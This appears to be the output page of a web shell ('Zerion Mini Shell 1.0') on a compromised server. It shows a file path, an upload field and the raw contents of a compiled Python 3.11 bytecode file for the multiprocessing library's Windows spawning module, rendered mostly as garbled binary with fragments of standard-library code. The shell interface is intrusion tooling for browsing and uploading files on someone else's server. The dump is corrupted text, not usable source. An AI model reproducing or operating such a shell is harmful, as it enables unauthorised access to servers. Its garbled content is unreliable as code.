ok

Mini Shell

Direktori : /opt/alt/python311/lib64/python3.11/multiprocessing/__pycache__/
Upload File :
Current File : //opt/alt/python311/lib64/python3.11/multiprocessing/__pycache__/popen_spawn_win32.cpython-311.pyc

�

�f���B�ddlZddlZddlZddlZddlZddlmZmZmZddl	m
Z
ddl	mZdgZdZ
ejdkoeed	d
��Zej����d��Zd�Zeejej��Zd
�ZGd�de��ZdS)�N�)�	reduction�get_spawning_popen�set_spawning_popen)�spawn)�util�Popeni�win32�frozenFzpythonservice.exec��||kp?tj�|��tj�|��kS�N)�os�path�normcase)�p1�p2s  �H/opt/alt/python311/lib64/python3.11/multiprocessing/popen_spawn_win32.py�_path_eqrs6��
��8�C�r�w�'�'��+�+�r�w�/?�/?��/C�/C�C�C�c�8�|D]}tj|���dSr
)�_winapi�CloseHandle)�handles�handles  r�_close_handlesrs/���$�$����F�#�#�#�#�$�$rc�@�eZdZdZdZd�Zd�Zd
d�Zd�Zd�Z	e	Z
d	�ZdS)r	z@
    Start a subprocess to run the code of a process object
    rc�x�tj|j��}tjdd��\}}tj|d��}tjtj	��|���}tj
��}trYt|tj��r?tjx|d<}tj���}tj|d<nd}d�d�|D����}t'|dd���5}		tj||ddd	d|dd�	�	\}
}}}
tj|��n#tj|���xYw||_d|_|
|_t3|
��|_t7j|t:|jt3|��f��|_t?|��	tAj!||	��tAj!||	��t?d��n#t?d��wxYw	ddd��dS#1swxYwYdS)
Nr)�
parent_pid�pipe_handle�__PYVENV_LAUNCHER__� c3� K�|]	}d|zV��
dS)z"%s"N�)�.0�xs  r�	<genexpr>z!Popen.__init__.<locals>.<genexpr>Fs&����/�/�a�v��z�/�/�/�/�/�/r�wbT)�closefdF)"r�get_preparation_data�_namer�
CreatePipe�msvcrt�open_osfhandle�get_command_liner�getpid�get_executable�WINENVr�sys�
executable�_base_executable�environ�copy�join�open�
CreateProcessr�pid�
returncode�_handle�int�sentinelr�Finalizer�	finalizerrr�dump)�self�process_obj�	prep_data�rhandle�whandle�wfd�cmd�
python_exe�env�to_child�hp�htr:�tids              r�__init__zPopen.__init__-sr���.�{�/@�A�A�	�#�-�d�A�6�6�����#�G�Q�/�/���$��	���18�:�:�:���)�+�+�
��	�h�z�3�>�:�:�	�"%�"6�6�C��F�Z��*�/�/�#�#�C�),��C�%�&�&��C��h�h�/�/�3�/�/�/�/�/��
�#�t�T�
*�
*�
*�	)�h�
�#*�#8����$��q�#�t�T�$;�$;� ��B��S��#�B�'�'�'�'��
��#�G�,�,�,������D�H�"�D�O��D�L���G�G�D�M�!�]�4��,0�M�3�w�<�<�+H�J�J�D�N�
�t�$�$�$�
)���y�(�3�3�3���{�H�5�5�5�"�4�(�(�(�(��"�4�(�(�(�(����(�3	)�	)�	)�	)�	)�	)�	)�	)�	)�	)�	)�	)����	)�	)�	)�	)�	)�	)sC�H/�5E�H/�E#�#A/H/�*H
�=H/�
H�H/�/H3�6H3c�Z�|t��usJ�tj||j��Sr
)rr�	duplicater>)rBrs  r�duplicate_for_childzPopen.duplicate_for_childcs/���)�+�+�+�+�+�+��"�6�4�=�9�9�9rNc�n�|j�|jS|�
tj}n#tdt	|dzdz����}tjt	|j��|��}|tjkr8tj|j��}|tkr
tj}||_|jS)Nri�g�?)r;r�INFINITE�maxr=�WaitForSingleObjectr<�
WAIT_OBJECT_0�GetExitCodeProcess�	TERMINATE�signal�SIGTERM)rB�timeout�msecs�res�codes     r�waitz
Popen.waitgs����?�&��?�"��?��$�E�E���3�w��~��3�4�4�5�5�E��)�#�d�l�*;�*;�U�C�C���'�'�'�'��-�d�l�;�;�D��y� � �����"�D�O���rc�.�|�d���S)Nr)r\)r`�rBs r�pollz
Popen.pollys���y�y��y�#�#�#rc��|j�dS	tjt|j��t
��dS#t$r;tjt|j����}|tjkr�YdSwxYwr
)	r;r�TerminateProcessr=r<rY�PermissionErrorrX�STILL_ACTIVE)rBr_s  r�	terminatezPopen.terminate|s����?�&��F�	��$�S���%6�%6�	�B�B�B�B�B���	�	�	��-�c�$�,�.?�.?�@�@�D��w�+�+�+��,�+�+�		���s�,9�AA>�=A>c�.�|���dSr
)r@rbs r�closezPopen.close�s���������rr
)�__name__�
__module__�__qualname__�__doc__�methodrOrRr`rcrh�killrjr#rrr	r	's����������F�4)�4)�4)�l:�:�:�����$$�$�$����$�D�����r)rr,rZr2r�contextrrr�rr�__all__rY�platform�getattr�WINEXEr3�lower�endswith�
WINSERVICErr4r1r�objectr	r#rr�<module>r{s=��	�	�	�	�
�
�
�
�
�
�
�
�
�
�
�
�����F�F�F�F�F�F�F�F�F�F��������������)��
�	�

�,�'�
!�
C�g�g�c�8�U�&C�&C��
�^�
!�
!�
#�
#�
,�
,�-@�
A�
A�
�D�D�D��X�c�n�c�&:�
;�
;�	;��$�$�$�j�j�j�j�j�F�j�j�j�j�jr

Zerion Mini Shell 1.0